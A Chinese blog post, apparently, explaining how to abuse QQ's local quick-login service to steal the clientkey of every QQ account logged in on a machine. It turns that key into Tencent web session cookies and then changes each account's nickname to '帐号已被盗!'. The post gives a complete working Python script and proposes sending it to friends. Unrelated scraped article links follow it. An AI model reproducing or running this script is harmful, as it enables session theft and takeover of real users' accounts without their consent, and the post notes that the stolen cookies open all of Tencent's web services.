QQ大盗 - 巧用clientkey
场景:
1.将程序发给好友,好友打开 qq昵称就会被秒改为”账号已被盗“。
2.将程序运行在自己的电脑,让那些随意借用电脑看片聊天的室友产生一个觉悟:乱使用别人电脑很可能会泄露隐私。
思路:
通过数据包模拟网页中的qq快速登录,拿到登录凭证(Cookie)修改qq昵称 实现账号被盗的假象。
1、local_token:
qq快速登录是基于qq的客户端实现的,qq客户端启动时会生成一个local_token(保存在本地的一个钥匙),通过local_token访问qq客户端的本地服务器(4301端口)可以获取到电脑上登录的所有qq账号。
2、clientkey:
仅仅知道qq账号肯定是无法登录的,还要拿clientkey。可以把clientkey理解成密码,qq客户端登录成功时会生成这个值,每个成功登录的账号都有自己的clientkey 相互匹配,只要拿到账号的clientkey就可以偷偷快速登录了。
3、cookies:
前面两步其实都是在本地网络下完成的,验证于qq客户端的本地服务器。现在提交uin+clientkey模拟快速登录是需要腾讯的远程服务器来验证的,验证通过就可以拿到登录凭证了(Cookies)。
4、ldw:
通过前几步我们已经拿到登录凭证了,可以为所欲为访问腾讯所有web端的服务了,现在我想修改账号的昵称。
我选择了通过qq个人中心的一个接口修改昵称,这个接口需要一个ldw值,并不复杂,一个get请求就能拿到。
实现:
以下使用python编程语言操作。
from urllib import request
from http import cookiejar
import json
import re opener=None
cookie=None
local_token=None
json_uins=None def modNick(index,nick):
clientuin=json_uins[index]['account']
clientkey=None
ldw=None #拿到clientkey
url = 'https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin='+clientuin+'&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk=' + local_token
opener.open(url)
for item in cookie:
if (item.name == 'clientkey'):
clientkey = item.value
break #登录
url='https://ssl.ptlogin2.qq.com/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin='+clientuin+'&clientkey='+clientkey
opener.open(url) #拿到ldw
url="http://id.qq.com/cgi-bin/get_base_key?r=0.9431299830075388"
opener.open(url)
for item in cookie:
if (item.name == 'ldw'):
ldw = item.value
break #修改昵称
url = 'http://id.qq.com/cgi-bin/userinfo_mod'
data = '&n=' + nick + '&ldw=' + ldw
res = opener.open(url, bytes(data, 'utf-8'))
data = res.read() if __name__=='__main__': #opener初始化
cookie=cookiejar.CookieJar()
opener=request.build_opener(request.HTTPCookieProcessor(cookie))
opener.addheaders = [('Referer','https://xui.ptlogin2.qq.com')] #拿到local_token
url='https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq.com%2Flogin%2Fproxy.html&s_url=http://id.qq.com/index.html'
opener.open(url)
for item in cookie:
if(item.name == 'pt_local_token'):
local_token=item.value
break #拿到uins
url='https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk='+local_token
res=opener.open(url)
json_uins=json.loads(re.compile('var var_sso_uin_list=(.*?);').findall(str(res.read(),'utf-8'))[0]) #修改昵称
for index in range(0,len(json_uins)):
modNick(index, '帐号已被盗!')
最后说几句:
改个昵称啥的都是小事情,拿到Cookies可以做到的事情太多了。请以自我娱乐的意识去研究扩展,不要干扰影响他人网络环境。
QQ大盗 - 巧用clientkey的更多相关文章
- ClientKey实现登录QQ空间,并设置背景音乐
ClientKey大家都知道的,通过webbrowser登录后取得Cookie并计算出GTK,即可操作空间的POST. 源代码中引用了苏飞的Http类库,自己修改添加了一些拓展方法. 下载地址:htt ...
- 巧用foxmail同步qq邮箱的通讯录
如果您企业使用的qq企业邮箱,那么你在web端登陆邮箱并填写收件人时,发现QQ邮箱是可以自动完成,并且中文名称自动完成. 如何在使用foxmail邮件客户端的情况下也同步这些邮箱信息呢?需要七步,看截 ...
- 啊哈算法之巧用队列解密QQ号
简述 本算法摘选自啊哈磊所著的<啊哈!算法>第二章第一节的题目——使用队列来解密举例中按照规则加密的QQ号.文中代码使用C语言编写,博主通过阅读和理解,重新由Java代码实现了一遍,意在深 ...
- QQ JS省市区三级联动
如下图: 首先写一个静态的页面: <!DOCTYPE html> <html> <head> <title>QQ JS省市区三级联动</title ...
- 巧用第三方高速开发Android App 热门第三方SDK及框架
巧用第三方高速开发Android App 热门第三方SDK及框架 历经大半年的时间,最终是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方高速开发Android App ...
- 巧用第三方快速开发Android App 热门第三方SDK及框架
巧用第三方快速开发Android App 热门第三方SDK及框架 历经大半年的时间,终于是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方快速开发Android App ...
- 技术揭秘“QQ空间”自动转发不良信息
大家经常会看到QQ空间自动转发一些附带链接的不良信息,即便我们的QQ密码并没有被盗取.最近通过对一个QQ空间自动转发链接进行分析,发现该自动转发机制通过利用腾讯网站存在漏洞的页面,精心构造出利用代码获 ...
- 闲谈:乌云上那些 web-based 的 QQ 漏洞
0×00 起始 昨日凌晨,看到爱尖刀团队发布了一条“腾讯客户端XSS,已第一时间提交至TSRC”的微博,心想,腾讯又出此类漏洞了.今日,由于有一位名叫“阿布”的同学将该漏洞发布到了乌云,引来不少争吵甚 ...
- C# 获取QQ群数据的实现
一,分析 1,群数据获取 当访问http://qun.qq.com/air/#mygroup我们通过Fiddler可以查看到QQ群列表是从http://qun.qq.com/air/group/min ...
随机推荐
- VBA锁定指定单元格
Then .Range("AF4").Value = pjno .Range("A1:AH56").Locked = False .Range("F6 ...
- java常用的正则表达式的工具类
import com.google.common.base.Strings; import java.util.regex.Matcher;import java.util.regex.Pattern ...
- 小D课堂-SpringBoot 2.x微信支付在线教育网站项目实战_汇总
2018年Spring Boot 2.x整合微信支付在线教育网站高级项目实战视频课程 小D课堂-SpringBoot 2.x微信支付在线教育网站项目实战_1-1.SpringBoot整合微信支付开发在 ...
- 一百二十三:CMS系统之登录功能
配置文件中加入前台用户的身份标识 form class SigninForm(BaseForm): telephone = StringField(validators=[Regexp(r'1[345 ...
- Spring源码整理
转载:https://www.cnblogs.com/ITtangtang/p/3978349.html 感谢博主
- Linux系统管理_主题01 :初识Linux_1.6 用好帮助文档man
在 man 界面中,可以使用如下快捷键来进行操作: 上/下箭头 向上/下滚动一行 [Space] 向下翻一页 [Page Down] 向下翻一页 [Page Up] 向上翻一页 [ ...
- aws S3存储概念
S3存储(Simple Storage Service) 存储桶:存储桶是S3中用于存储对象的容器.每个对象都存储在一个存储桶中. 对象:对象是S3中存储的基本实体.对象由对象数据和元数据组成.数据部 ...
- Java日志体系(二)log4j
1.1 简介 Log4j是一个由Java编写可靠.灵活的日志框架,是Apache旗下的一个开源项目: 使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容 ...
- Java 8 新特性之 Stream 流基础体验
Java 8 新特性之 Stream 流基础体验 package com.company; import java.util.ArrayList; import java.util.List; imp ...
- 硬盘相关合集,以及LVM操作实践
1. 机器装有两块硬盘,重装系统只找到一块盘,如何解决? 正常装完系统后,运行: a. lsblk查看硬盘信息,这里可以发现还没有使用的另一块盘. b. fdisk或parted给硬盘分区,取决于硬盘 ...